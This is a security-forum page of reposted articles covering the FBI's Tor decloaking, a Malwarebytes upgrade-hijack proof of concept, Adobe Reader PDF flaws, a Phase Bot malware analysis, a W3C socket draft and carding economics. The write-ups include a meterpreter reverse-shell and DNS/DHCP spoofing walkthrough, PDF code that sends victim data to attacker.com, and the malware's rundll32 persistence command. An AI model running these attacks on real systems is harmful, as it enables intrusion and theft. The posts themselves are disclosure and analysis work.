Nytro

The FBI Used the Web’s Favorite Hacking Tool to Unmask Tor Users By Kevin Poulsen 12.16.14 | 7:00 am Cheryl Graham/Getty Images For more than a decade, a powerful app called Metasploit has been the most important tool in the hacking world: An open-source Swiss Army knife of hacks that puts the latest exploits in the hands of anyone who’s interested, from random criminals to the thousands of security professionals who rely on the app to scour client networks for holes. Now Metasploit has a new and surprising fan: the FBI. WIRED has learned that FBI agents relied on Flash code from an abandoned Metasploit side project called the “Decloaking Engine” to stage its first known effort to successfully identify a multitude of suspects hiding behind the Tor anonymity network. That attack, “Operation Torpedo,” was a 2012 sting operation targeting users of three Dark Net child porn sites. Now an attorney for one of the defendants ensnared by the code is challenging the reliability of the hackerware, arguing it may not meet Supreme Court standards for the admission of scientific evidence. “The judge decided that I would be entitled to retain an expert,” says Omaha defense attorney Joseph Gross. “That’s where I am on this—getting a programming expert involved to examine what the government has characterized as a Flash application attack of the Tor network.” A hearing on the matter is set for February 23. Tor, a free, open-source project originally funded by the US Navy, is sophisticated anonymity software that protects users by routing traffic through a labyrinthine delta of encrypted connections. Like any encryption or privacy system, Tor is popular with criminals. But it also is used by human rights workers, activists, journalists and whistleblowers worldwide. Indeed, much of the funding for Tor comes from grants issued by federal agencies like the State Department that have a vested interest in supporting safe, anonymous speech for dissidents living under oppressive regimes. With so many legitimate users depending upon the system, any successful attack on Tor raises alarm and prompts questions, even when the attacker is a law enforcement agency operating under a court order. Did the FBI develop its own attack code, or outsource it to a contractor? Was the NSA involved? Were any innocent users ensnared? Now, some of those questions have been answered: Metasploit’s role in Operation Torpedo reveals the FBI’s Tor-busting efforts as somewhat improvisational, at least at first, using open-source code available to anyone. Created in 2003 by white hat hacker HD Moore, Metasploit is best known as a sophisticated open-source penetration testing tool that lets users assemble and deliver an attack from component parts—identify a target, pick an exploit, add a payload and let it fly. Supported by a vast community of contributors and researchers, Metasploit established a kind of lingua franca for attack code. When a new vulnerability emerges, like April’s Heartbleed bug, a Metasploit module to exploit it is usually not far behind. Moore believes in transparency—or “full disclosure”—when it comes to security holes and fixes, and he’s applied that ethic in other projects under the Metasploit banner, like the Month of Browser Bugs, which demonstrated 30 browser security holes in as many days, and Critical.IO, Moore’s systematic scan of the entire Internet for vulnerable hosts. That project earned Moore a warning from law enforcement officials, who cautioned that he might be running afoul of federal computer crime law. In 2006, Moore launched the “Metasploit Decloaking Engine,” a proof-of-concept that compiled five tricks for breaking through anonymization systems. If your Tor install was buttoned down, the site would fail to identify you. But if you’d made a mistake, your IP would appear on the screen, proving you weren’t as anonymous as you thought. “That was the whole point of Decloak,” says Moore, who is chief research officer at Austin-based Rapid7. “I had been aware of these techniques for years, but they weren’t widely known to others.” One of those tricks was a lean 35-line Flash application. It worked because Adobe’s Flash plug-in can be used to initiate a direct connection over the Internet, bypassing Tor and giving away the user’s true IP address. It was a known issue even in 2006, and the Tor Project cautions users not to install Flash. The decloaking demonstration eventually was rendered obsolete by a nearly idiot-proof version of the Tor client called the Tor Browser Bundle, which made security blunders more difficult. By 2011, Moore says virtually everyone visiting the Metasploit decloaking site was passing the anonymity test, so he retired the service. But when the bureau obtained its Operation Torpedo warrants the following year, it chose Moore’s Flash code as its “network investigative technique”—the FBI’s lingo for a court-approved spyware deployment. Torpedo unfolded when the FBI seized control of a trio of Dark Net child porn sites based in Nebraska. Armed with a special search warrant crafted by Justice Department lawyers in Washington DC, the FBI used the sites to deliver the Flash application to visitors’ browsers, tricking some of them into identifying their real IP address to an FBI server. The operation identified 25 users in the US and an unknown number abroad. Gross learned from prosecutors that the FBI used the Decloaking Engine for the attack — they even provided a link to the code on Archive.org. Compared to other FBI spyware deployments, the Decloaking Engine was pretty mild. In other cases, the FBI has, with court approval, used malware to covertly access a target’s files, location, web history and webcam. But Operation Torpedo is notable in one way. It’s the first time—that we know of—that the FBI deployed such code broadly against every visitor to a website, instead of targeting a particular suspect. The tactic is a direct response to the growing popularity of Tor, and in particular an explosion in so-called “hidden services”—special websites, with addresses ending in .onion, that can be reached only over the Tor network. Hidden services are a mainstay of the nefarious activities carried out on the so-called Dark Net, the home of drug markets, child porn, and other criminal activity. But they’re also used by organizations that want to evade surveillance or censorship for legitimate reasons, like human rights groups, journalists, and, as of October, even Facebook. A big problem with hidden service, from a law enforcement perceptive, is that when the feds track down and seize the servers, they find that the web server logs are useless to them. With a conventional crime site, those logs typically provide a handy list of Internet IP addresses for everyone using the site – quickly leveraging one bust into a cascade of dozens, or even hundreds. But over Tor, every incoming connection traces back only as far as the nearest Tor node—a dead end. Thus, the mass spyware deployment of Operation Torpedo. The Judicial Conference of the United States is currently considering a Justice Department petition to explicitly permit spyware deployments, based in part on the legal framework established by Operation Torpedo. Critics of the petition argue the Justice Department must explain in greater detail how its using spyware, allowing a public debate over the capability. “One thing that’s frustrating for me right now, is it’s impossible to get DOJ to talk about this capability,” says Chris Soghoian, principal technologist at the ACLU. “People in government are going out of their way to keep this out of the discussion.” For his part, Moore has no objection to the government using every available tool to bust pedophiles–he once publicly proposed a similar tactic himself. But he never expected his long-dead experiment to drag him into a federal case. Last month he started receiving inquiries from Gross’ technical expert, who had questions about the efficacy of the decloaking code. And last week Moore started getting questions directly from the accused pedophile in the case— a Rochester IT worker who claims he was falsely implicated by the software. Moore finds that unlikely, but in the interest of transparency, he answered all the questions in detail. “It only seemed fair to reply to his questions,” Moore says. “Though I don’t believe my answers help his case at all.” Using the outdated Decloaking Engine would not likely have resulted in false identifications, says Moore. In fact, the FBI was lucky to trace anyone using the code. Only suspects using extremely old versions of Tor, or who took great pains to install the Flash plug-in against all advice, would have been vulnerable. By choosing an open-source attack, the FBI essentially selected for the handful offenders with the worst op-sec, rather than the worst offenders. Since Operation Torpedo, though, there’s evidence the FBI’s anti-Tor capabilities have been rapidly advancing. Torpedo was in November 2012. In late July 2013, computer security experts detected a similar attack through Dark Net websites hosted by a shady ISP called Freedom Hosting—court records have since confirmed it was another FBI operation. For this one, the bureau used custom attack code that exploited a relatively fresh Firefox vulnerability—the hacking equivalent of moving from a bow-and-arrow to a 9-mm pistol. In addition to the IP address, which identifies a household, this code collected the MAC address of the particular computer that infected by the malware. “In the course of nine months they went from off the shelf Flash techniques that simply took advantage of the lack of proxy protection, to custom-built browser exploits,” says Soghoian. “That’s a pretty amazing growth … The arms race is going to get really nasty, really fast.” Sursa: The FBI Used the Web's Favorite Hacking Tool to Unmask Tor Users | WIRED

Mai e si Cyborg Hawk. Ambele facute de indieni. Niste jeguri. Nu folositi asa ceva.

Super. Pacat ca nu stiam de el cand cautam asa ceva.

Doar un titlu fancy pentru SQLI - Login bypass...

CVE-2014-4936: Malwarebytes Anti-Malware and Anti-Exploit upgrade hijacking In June of this year I was playing around with Malwarebytes’s products. I blogged about one of their products, Malwarebytes Anti-Malware, before when it had some issues; you can read that blog entry [ here ]. While playing around with Anti-Malware I discovered you could easily hijack the upgrade mechanism. After figuring out the protocol I could push my own upgrades. I reported this to Malwarebytes on July 16th, it got a CVE assigned: CVE-2014-4936. About half a month later, around the time Malwarebytes had released their Anti-Exploit product Beta I started to play around with this one as well. I discovered it was subject to the same upgrade hijacking method. Both vulnerabilities were scaled under one CVE, it was a shared mechanism (and code). Officially the description for this CVE has become: Malwarebytes Anti-Malware in consumer version 2.0.2 and earlier and Malwarebytes Anti-Exploit in consumer version 1.03 and earlier allow attackers to execute arbitrary code by hijacking the underlying network layer or DNS infrastructure between the client PC and the Malwarebytes Content Delivery Network (CDN). Corporate versions are not affected. One thing to note is that consumer versions of MBAM and MBAE are affected by this. Business versions of the products do not use the Malwarebytes CDN for upgrades. This blog entry describes the vulnerability, how it works and how you can perform the attack including a POC. Code for the POC is hosted on my Github repository: [ CVE-2014-4936 POC ] Timeline: Malwarebytes Anti-Malware Vulnerability discovered: June 18th 2014 Vulnerability reported: July 16th 2014 Vulnerability fixed in version 2.0.3 released on October 3rd 2014 [*]Malwarebytes Anti-Exploit Vulnerablity discovered: August 19th 2014 Vulnerability reported: August 21st 2014 Vulnerability fixed in version 1.04.1.1012 released on September 5th 2014 The vulnerability Both Anti-Malware and Anti-Exploit have upgrade capabilities through the form of HTTP transfered installation packages. Both software packages have no or limited upgrade validation implemented thus allowing anyone who can work out the upgrade protocol to inject their own payload. Updates and Upgrades When the software, either MBAM or MBAE, starts it will first resolve the Malwarebytes CDN: 192.168.2.102 -> 8.8.8.8 (DNS) Standard query A data-cdn.mbamupdates.com For MBAM it will start checking versions of the following: Consumer config Consumer news Consumer versioncheck Consumer HTML Signature database Program upgrades If any of the version requests respond with a higher number than the client itself has it will start downloading a partial or full update/upgrade. For the program upgrading it will download an installer for the latest version. We are interested in the program upgrade as we can use this to, with ease, send malicious payloads without having to go into any advanced exploitation techniques. The client will start by sending a version request: In the version request the User-Agent of the client shows the version (red underlined in the top section), the client has version 1.60.1.1000. The server responds by telling the client version 1.75.0.1300 (red underlined in the bottom section) is the latest available. The client will then proceed by downloading this file by making a request to the CDN once more: The installation is downloaded and the installer for the new version starts. The problem here lies with the fact that the MBAM client does not verify the actual installer it downloads. It can be whatever arbitrary Windows PE the server gives back. This is combined with the fact that MBAM starts the new client installer with full administrative privileges. Similar implementation and the same problem occurs for MBAE as well, payloads are unchecked and executed with full administrative privileges with Malwarebytes’s protection uninstalled. This process is the same for MBAE although the request is a little bit different. MBAM makes the following 2 requests for the version check followed by the upgrade download: GET http://data-cdn.mbamupdates.com/v0/program/mbam.check.program HTTP/1.1 GET http://data-cdn.mbamupdates.com/v0/program/data/mbam-setup-<new version>.exe HTTP/1.1 MBAE makes the following requests: GET http://data-cdn.mbamupdates.com/v2/mbae/consumer/version.chk HTTP/1.1 GET http://data-cdn.mbamupdates.com/v2/mbae/consumer/data/mbae-setup-<new version>.exe Hijacking the upgrades, exploiting the vulnerability I have the following setup: 2 VM’s in host only network adapter mode: Windows XP running an old MBAM version 1.60.1.1000 Kali Linux running my MBAM CDN simulation python script To exploit the client and to prove the vulnerability we need to intercept the DNS requests for the data-cdn.mbamupdates.com. We can have a few options: Change the DNS adapter settings to resolve DNS with my Kali system which can do redirection Use the Windows host file to override DNS Grab ettercap in Kali and spoof towards the client to get DNS redirected. To show the POC in a more ‘natural’ environment I chose the 3rd option. I’m going to show the vulnerability by performing a DHCP spoofing attack. There are of course other methods of attacking, you just need to be able to control the DNS of the client. Let’s start: First we setup both clients running side by side, we put the two VM’s in host only adapter mode. On the Windows XP machine we install the old MBAM version, I took the oldest MBAM installer I had, version 1.60.1.1000: On Kali we also have to start the Malwarebytes CDN simulator, you can get this script from the Github repository [ here ]. The simulator doesn’t need any arguments, you can just run it by typing python Malwarebytes-CDN-Simulator-CVE-2014-4936.py: Some older versions of MBAM (1.46 for example) follow an older upgrade pattern, although the vulnerability also exists for these versions the provided Malwarebytes CDN simulator only works for MBAM since version 1.60.1.xxx. Older version will crash during the upgrade. You could adapt the POC to work for this version as well, its a matter of changing the URL’s it looks at. One thing you have to make sure of is that you throw your payload in the working directory of the CDN simulator and name it ‘payload.exe’ in order to be picked up and send to the upgrading clients. For this attack we’ll generate a meterpreter payload, we’re running Kali which has Metasploit installed already. We can quickly generate a PE payload from the commandline, in this example I use the meterpreter payload: msfcli multi/handler payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4444 E Note: Rapid7 published a post regarding the deprecation of msfpayload. This means in the future this payload has to be generated slightly different. Read more on the change here: [ Good-bye msfpayload and msfencode ] The handler will start and listen for incoming connections: Our reverse handler is now ready to receive incoming connections from our meterpreter payload, we can now start our attack. Next thing we need to do is get DNS requests from the Windows XP machine redirected towards the Kali machine so it can be intercepted. We do this by grabbing Ettercap, in my case I grab Ettercap Graphical so I can visually show the attack in steps here. Lets open up Ettercap and start by setting it in unified sniffing mode, the difference from bridged mode is that in unified mode we just sniff all packets that pass on the interface, in bridged mode it will use two network interfaces and forward traffic from one to the other and perform a mitm attack. In our case we will do a DNS ‘mitm’ attack but we dont need bridged mode. After opening up unified mode the menu will change: Now its time to select our target, fom the Hosts menu open up the host list and then hit Scan for hosts. A list of hosts in the current connected network will appear, in my case there are 2: The Windows XP machine (192.168.56.102) The host running the virtual machines (192.168.56.1) We select the target, the Windows XP machine with IP 192.168.56.102 and hit the ‘Add to Target 1’ button to select it. You can view the targets by clicking the Current Targets button under the Targets menu option to see if the machine was selected. Now we have to enable the DNS spoofing, Ettercap does have a plugin called ‘dns_spoof’ but I choose to use dnslib’s intercept server. Its part of the DNSLib python library. Setting up is a single command: python -m dnslib.intercept -p 53 -a 192.168.56.103 -i '* IN A 192.168.56.103' Here we setup our listener on port 53 and bind to address 192.168.56.103 and intercept any request (* for the wildcard) and respond to it with the 192.168.56.103 IP. This means we will grab any request, you can also specify it a bit better by only responding for data-cdn.mbamupdates.com and *.data-cdn.mbamupdates.com but for ease I chose to intercept everything and route it to the Kali machine. We now can start our attack. Open up the Mitm menu option and click on Dhcp spoofing. We will spoof DHCP towards the Windows XP client so we can force our own DNS server in the DNS server settings. On the DHCP Spoofing popup we leave the IP Pool field empty, enter 255.255.255.0 in the Netmask field and put our own IP (192.168.56.103) in the DNS Server IP field to enforce the Kali host to be the DNS server for the Windows XP machine. After entering the options hit the ‘OK’ button to start the attack. In the status log we can see Ettercap is starting the attack. After we’ve started the DHCP spoofing we need to wait for the DHCP lease (or force it on the client itself) to renew so Ettercap can spoof it. After a bit Ettercap will log the DHCP request and its response to it: DHCP: [08:00:27:2F:56:97] REQUEST 192.168.56.102 DHCP spoofing: fake ACK [08:00:27:2F:56:97] assigned to 192.168.56.102 DHCP: [192.168.56.103] ACK : 192.168.56.102 255.255.255.0 GW 192.168.56.103 DNS 192.168.56.103 On the client we can now check the IPconfig settings to check for our spoofed DNS server: What we have to do now is either wait for the MBAM client on the Windows machine to contact the server for upgrades automatically or enforce it by hitting the Check for Updates button on the Update tab in the MBAM GUI. On the Malwarebytes CDN script terminal we can see the client contacted us and has downloaded the payload: root@kali:~/mbam_upgrade# python Malwarebytes-CDN-Simulator-CVE-2014-4936.py Started Malwarebytes CDN simulator. [+] Attempt for URI: /v1/news/consumer/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/news/consumer/version.chk HTTP/1.1" 200 - [+] Attempt for URI: /v1/custom/consumer/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/custom/consumer/version.chk HTTP/1.1" 200 - [+] Attempt for URI: /v1/database/rules/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/database/rules/version.chk HTTP/1.1" 200 - 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/mbam.check.program HTTP/1.1" 200 - [+] MBAM Client program version check: Client version 1.60.1.1000, enforced update version 2.60.1.1000 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/data/mbam-setup-2.60.1.1000.exe HTTP/1.1" 200 - [+] MBAM Client payload download. On the Windows machine we see MBAM telling us a new version is available: If we accept and run the upgrade installer we see MBAM dissapear and nothing happens. Now if you check back with the meterpreter handler we see the client has connected back to us: And due to how the upgrade works, the old MBAM install will execute the ‘installer’ with full administrative privileges as you can see by typing getuid: We have successfully injected our payload into the upgrade process of MBAM. We have taken over the Windows XP machine by abusing the vulnerability. The same process can be used to takeover MBAE clients, the only difference is the checkin URLs but the Malwarebytes CDN simulator script already takes care of it, enjoy! 11:00pm | URL: 0x3a - Security Specialist and programmer by trade - CVE-2014-4936: Malwarebytes Anti-Malware and Anti-Exploit upgrade hijacking Sursa: 0x3a - Security Specialist and programmer by trade - CVE-2014-4936: Malwarebytes Anti-Malware and Anti-Exploit upgrade hijacking

Recomand.

Multiple PDF Vulnerabilites - Text and Pictures on Steroids I had the pleasure to talk at the HackPra in Bochum on 22.10 this year. My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues. Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube. Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context. GotoE or GotoR - No Protocol Restrictions Status: Unfixed Reality: 50% fixed The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to tell PDF to load PDFs from a different location. Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to file:///,mk-its: etc. They fixed it for GotoR but GotoE still works. In context of webbrowsers it gives you the possibility to iframe the local file system etc. Javascript and VBscript were forbidden, so no XSS possibility :/ PoC: %PDF-1.1 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction 7 0 R >> endobj [..] 7 0 obj << /Type /Action /S /GoToE /F (file:///C:/) /D (Chapter 1) >> endobj [..] PoC Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451) Status: fixed Reality: fixed Before I am going to explain the vulnerability you should have a look at another vulnerability in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well https://molnarg.github.io/cve-2014-0521/ There are two major steps to get privileged Javascript execution: 1) Get our function marked as a trusted or trust propagator function 2) After it is marked as a trust propagator, get it called by an already trusted function. The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter. To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements, but one specific predefined function helped a lot. See yourself: The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function. Lets say, this wasn't the best idea The first major step is done. Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve. Lets have a look at the following pre defined function: We can influence doc.path.match and let it point to our trustedproperty function. As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example. The PoC reads a local file from C:\test.txt: PoC Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now. Javascript function in Reader can be used to read data from external entities (CVE-2014-8452) Status: Fixed Reality: Not Fixed This one is about a simple XXE I discovered. I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in XMLData.parse. It was possible to use external entities and reference them. I read the specification and it turns out there are more functions than "parse" to read XML. I created a simple xml file, which references an url from the same domain and parsed it with loadXML. It worked: PoC The Impact is limited because o) it is limited to same origin o) HTML Pages break the xml o) Dynamic Entities are not supported o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work. But it still can be used to read JSON. Same origin policy bypass in Reader (CVE-2014-8453) Status: fixed Reality: fixed but same origin still vulnerable! In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you how powerful/terrifying PDF can be. Many people know that PDF supports a scripting language called Javascript but there is another one. It is mentioned in the specification for XFA, a file type also supported by the adobe reader. It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves. 'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it. We can then use 'POST' to send the return content to our own server: var content = GET("myfriends.php"); Post("http://attacker.com",content); These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products. To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website, you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens. PoC After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser as a proxy (@beef still working on the module^^) The bypass is really simple: 1. User A loads evil.pdf from http://attacker.com/evil.pdf 2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php 3. redirect.php redirects with 301 to http://facebook.com 4. Adobe reader will follow and read the response without looking for a crossdomain.xml. 5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too. Posted by Alex Inführ at 6:34 AM Sursa: InsertScript: Multiple PDF Vulnerabilites - Text and Pictures on Steroids

Vom rezolva problema "mobile" in viitorul apropiat. Sper.

Nu are nimeni timp. Eu nu ma pricep.

Un singur cuvant: SEO.

Greu de implementat.

[h=1]Paul Jung - Bypassing Sandboxes for Fun[/h]

[h=1]Osama Kamal - DNS Analytics, Case Study[/h]

[h=1]Karine e Silva - How to Dismantle a Botnet: the Legal Behind the Scenes[/h]

[h=1]Phase Bot - A Fileless Rootkit[/h] Phase Bot is a fileless rootkit that went on sale during late October, the bot is fairly cheap ($200) and boasts features such as formgrabbing, ftp stealing, and of course the ability to run without a file. The first thing you notice when opening it up in IDA is that the AddressOfEntryPoint is 0, this may seem like an error, but it actually isn't. Setting the entry point to 0 means the start of the DOS header is used as the entry point, this is possible because most of the fields following the MZ signature aren't required, and the M (0x4D) Z (0x5A) are actually valid instructions (dec ebp and pop edx respectively). I'm not sure the actual purpose of this trick, but it's interesting nonetheless. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Cancels out the MZ instructions then jumps to real entry point.[/TD] [/TR] [/TABLE] The real entry point is contained within the first 560 bytes of the only section in the executable, this code is designed to get data stored within the non-essential NT header fields and use it to RC4 decrypt the rest of the section, which contains the 2nd stage (shellcode). Most initialization happens is what appears to be the world longest function; the executable doesn't have an import table so functions are resolved by hash. All the initialized data such as offsets, strings, and function addresses is stored within a large structure which is passed to all functions. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]but does anyone truly know what loops are?[/TD] [/TR] [/TABLE] Once initialization is done the bot then check that PowerShell and version 2 of the .net framework is installed: if it is, normal installation continues, if not, it writes the bot code to a file in the startup folder. The malware first creates the registry key "hkcu\software\microsoft\active setup\installed components\{<GUID_STRING>}", then RC4 encrypts the 2nd stage's shellcode with the key "Phase" and writes it under the subkey "Rc4Encoded32", afterward the 64-bit shellcode is extracted and written to Rc4Encoded64 subkey, also encrypted with "Phase" as the key, a 3rd subkey is created named "JavaScript" which contains some JavaScript code. The full JavaScript is a bit long to post here, so I've uploaded it to pastebin. It simply base64 decodes a PowerShell script designed to read and decrypt the shellcode from the Rc4Encoded subkey, then runs; you can find the decoded PowerShell script here (the comments were left in by the author). For the bot to start with the system, a subkey named "Windows Host Process (RunDll)" is created under "hkcu\software\microsoft\windows\currentVersion\run", with the following value: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\Software\\Microsoft\\Active%20Setup\\Installed%20Components\\{72507C54-3577-4830-815B-310007F6135A}\\JavaScript"));close(); This is a trick used by Win32/Poweliks to get rundll32 to run the code from the JavaScript subkey, which then base64 decode the PowerShell script and runs it with PowerShell.exe, you can read more about this trick here. The final stage, which runs from within PowerShell hooks the following functions by overwriting the first instruction with 0xF4 (HLT). ntdll!NtResumeThread (Inject new processes) ntdll!NtReadVirtualMemory (Hide malware's memory) ntdll!NtQueryDirectoryFile (Hide file, only if failed fileless installation) ws2_32!send (Data stealer) wininet!HttpSendRequest (Internet Explorer formgrabber) nss3!PR_Write (Firefox formgrabber) The HLT instruction is a privileged instruction which cannot be executed from ring 3, as a result it generates an 0xC0000096 Privileged Instruction exception, which the bot picks up and handles using a vectored exception handler. This is the same as standard software breakpoint hooking, but using an invalid instruction instead of int 3. As you can imagine, the executable shows all sorts of malicious signs. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]NULL AddressOfEntryPoint, missing all data directories, invalid section name.[/TD] [/TR] [/TABLE] It should be noted that some of the features advertised appear to be missing and the comments in the PowerShell code suggest that this sample is an early/testing version. I'll update if I can get hold of a newer version. Sursa: Phase Bot - A Fileless Rootkit | MalwareTech

TCP and UDP Socket API W3C Working Draft 02 December 2014 This version:TCP and UDP Socket APILatest version:TCP and UDP Socket APIPrevious version:Raw Socket APILatest editor's draft:TCP and UDP Socket APIEditor:Claes Nilsson, Sony MobileRepository:We are on Github.File a bug.Commit history. Copyright © 2014 W3C® (MIT, ERCIM, Keio, Beihang), All Rights Reserved. W3C liability, trademark and document use rules apply. Abstract This API provides interfaces to raw UDP sockets, TCP Client sockets and TCP Server sockets. Status of This Document This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at All Standards and Drafts - W3C. The short name for this API has been changed from raw-sockets to tcp-udp-sockets as a more accurate description of its scope. This document was published by the System Applications Working Group as an updated Public Working Draft. This document is intended to become a W3C Recommendation. If you wish to make comments regarding this document, please send them to public-sysapps@w3.org (subscribe, archives). All feedback is welcome. Publication as a Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress. This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy. This document is governed by the 14 October 2005 W3C Process Document. Note This specification is based the Streams API, [STREAMS]. Note that the Streams API is work in progress and any changes made to Streams may impact the TCP and UDP Socket API specification. However, it is the editor's ambition to continously update the TCP and UDP API specification to be aligned with the latest version the Streams API. Note This is a note on error handling. When using promises rejection reasons should always be instances of the ECMAScript Error type such as DOMException or the built in ECMAScript error types. See Promise rejection reasons. In the TCP and UDP Socket API the error names defined in WebIDL Exceptions are used. If additional error names are needed an update to Github WebIDL should be requested through a Pull Request. Note This is a note on data types of TCP and UDP to send and receive. In the previous version of this API the send() method accepted the following data types for the data to send: DOMString,Blob, ArrayBuffer or ArrayBufferView. This was aligned with the send() method for Web Sockets. In this Streams API based version only ArrayBuffer is accepted as type for data to send. The reason is that encoding issues in a Streams based API should instead be handled by a transform stream. Table of Contents 1. Introduction 2. Conformance 3. Terminology 4. Security and privacy considerations 5. Interface UDPSocket 5.1 Attributes 5.2 Methods [*]6. Interface TCPSocket 6.1 Attributes 6.2 Methods [*]7. Interface TCPServerSocket 7.1 Attributes 7.2 Methods [*]8. Dictionary UDPMessage 8.1 Dictionary UDPMessage Members [*]9. Dictionary UDPOptions 9.1 Dictionary UDPOptions Members [*]10. Dictionary TCPOptions 10.1 Dictionary TCPOptions Members [*]11. Dictionary TCPServerOptions 11.1 Dictionary TCPServerOptions Members [*]12. Enums 12.1 SocketReadyState [*]A. Acknowledgements [*]B. References B.1 Normative references Sursa: TCP and UDP Socket API

What Happens to Stolen Credit Card Data? Posted on December 10, 2014 by Scott Aurnou By Scott Aurnou Reports of high profile data breaches have been hard to miss over the past year. Most recently, it was a breach involving 56 million customers’ personal and credit card information at Home Depot over a five-month period. This is just the latest volley in a wave of sophisticated high profile electronic thefts including Target, Neiman Marcus, Michaels, P.F. Chang’s and Supervalu. Much like the other attacks, the suspected culprit in the Home Depot data breach is a type of malware called a RAM scraper that effectively steals card data while it’s briefly unencrypted at the point of sale (POS) in order to authorize a given transaction. Reports of this type of attack have become increasingly common in the months since the Target breach. Whether it’s a RAM scraper or an “older” threat like a physical skimmer placed directly on a POS machine used to swipe a credit or debit card, phishing attack or simply storing customers’ card information insecurely, the result is the same: credit card data for millions of people winds up in the hands of criminals eager to sell it for profit. How does that process unfold? And how can you – or people you know – get sucked into it? The Basic Process: The journey from initial credit card data theft to fraudulent use of that data to steal goods from other retailers involves multiple layers of transactions. The actual thief taking the card numbers from the victim business’ POS or database doesn’t use it him or herself. First, a hacker – or a team of them – steals the credit card data electronically. Most of these schemes begin in Russia or other parts of Eastern Europe and much of what you might call the “carding trade” is centered there. Next, brokers (also referred to as “re-sellers”) buy the stolen card numbers and related information in bulk and trade them in online carding forums. A hacker may also sell the card data directly to keep more of the profits, though that’s more risky and time-consuming than using a broker. These exchanges are found on the dark net (aka the dark web). That’s a part of the Internet you won’t find through Google, where all manner of illegal and unsavory things can take place. Online prices vary depending on: • The type of card, • Credit limit (if known), • How much additional data is available (CVV codes from the backs of cards and associated zip codes make stolen cards more valuable), • The card owner’s geographic location (a fake card used in the vicinity of the legitimate card holder is less likely to raise suspicion), and • How recently the cards began appearing in the carding forums (i.e., likelihood of card cancellation). Prices for the individual cards have come down significantly in the past few years due to the sheer amount of records available, though brokers can still do quite well from bulk sales of card data. Despite being on the dark web, many of the brokers conduct themselves like regular online businesses and will provide replacements or the equivalent of store credit if cards purchased from them don’t work. The people who buy the card data from the brokers are called “carders.” Once the carders have the stolen card data, there are (at least)… Two distinct variations on the scam: 1) Physical, in-store purchases using fake credit cards. 2) Stolen card numbers used to charge pre-paid credit cards that are, in turn, used to purchase store-specific gift cards (which are less suspicious than general gift cards) and purchases are made online. Variant 1 (“Mystery Shopper”): This variation starts with carders printing up the fake credit cards for use in stores. Once they have the stolen card data, the equipment needed to make the fake cards isn’t that expensive. The carder then usually works with one or more recruiters to find people to use the fake cards (though a carder may do the recruiting him or herself). The enticement to get people to use the fake cards will generally be in the form of email spam and ads in Craigslist or similar sites offering easy money to be a “mystery shopper” or “secret shopper” as part of a “marketing study” or some other semi-plausible justification. Not surprisingly, the items purchased tend to have high resale value. After the physical purchases are made, the “mystery shopper” can either send items to the recruiter/carder (generally via a secure drop site like a vacant office) or directly to someone who has “purchased” an item via an auction site in response to a posting from the recruiter/carder. If sent straight to the carder, he or she then auctions the items directly on eBay, Craigslist or an underground forum on the dark web. The people who actually make the purchases with the fake cards may have no clue what they’re involved in (though sometimes they’re active participants in the scheme or simply low-level criminals looking to use the cards for themselves). They are effectively the “drug mules” of the credit card scam, taking the most risk and getting paid the least. You’ve probably seen one step retailers take to try and stop in-person card fraud. On a counterfeit credit card, the numbers on the magnetic strip and the front of the card generally don’t match – it’s too expensive to create individual fakes. Some 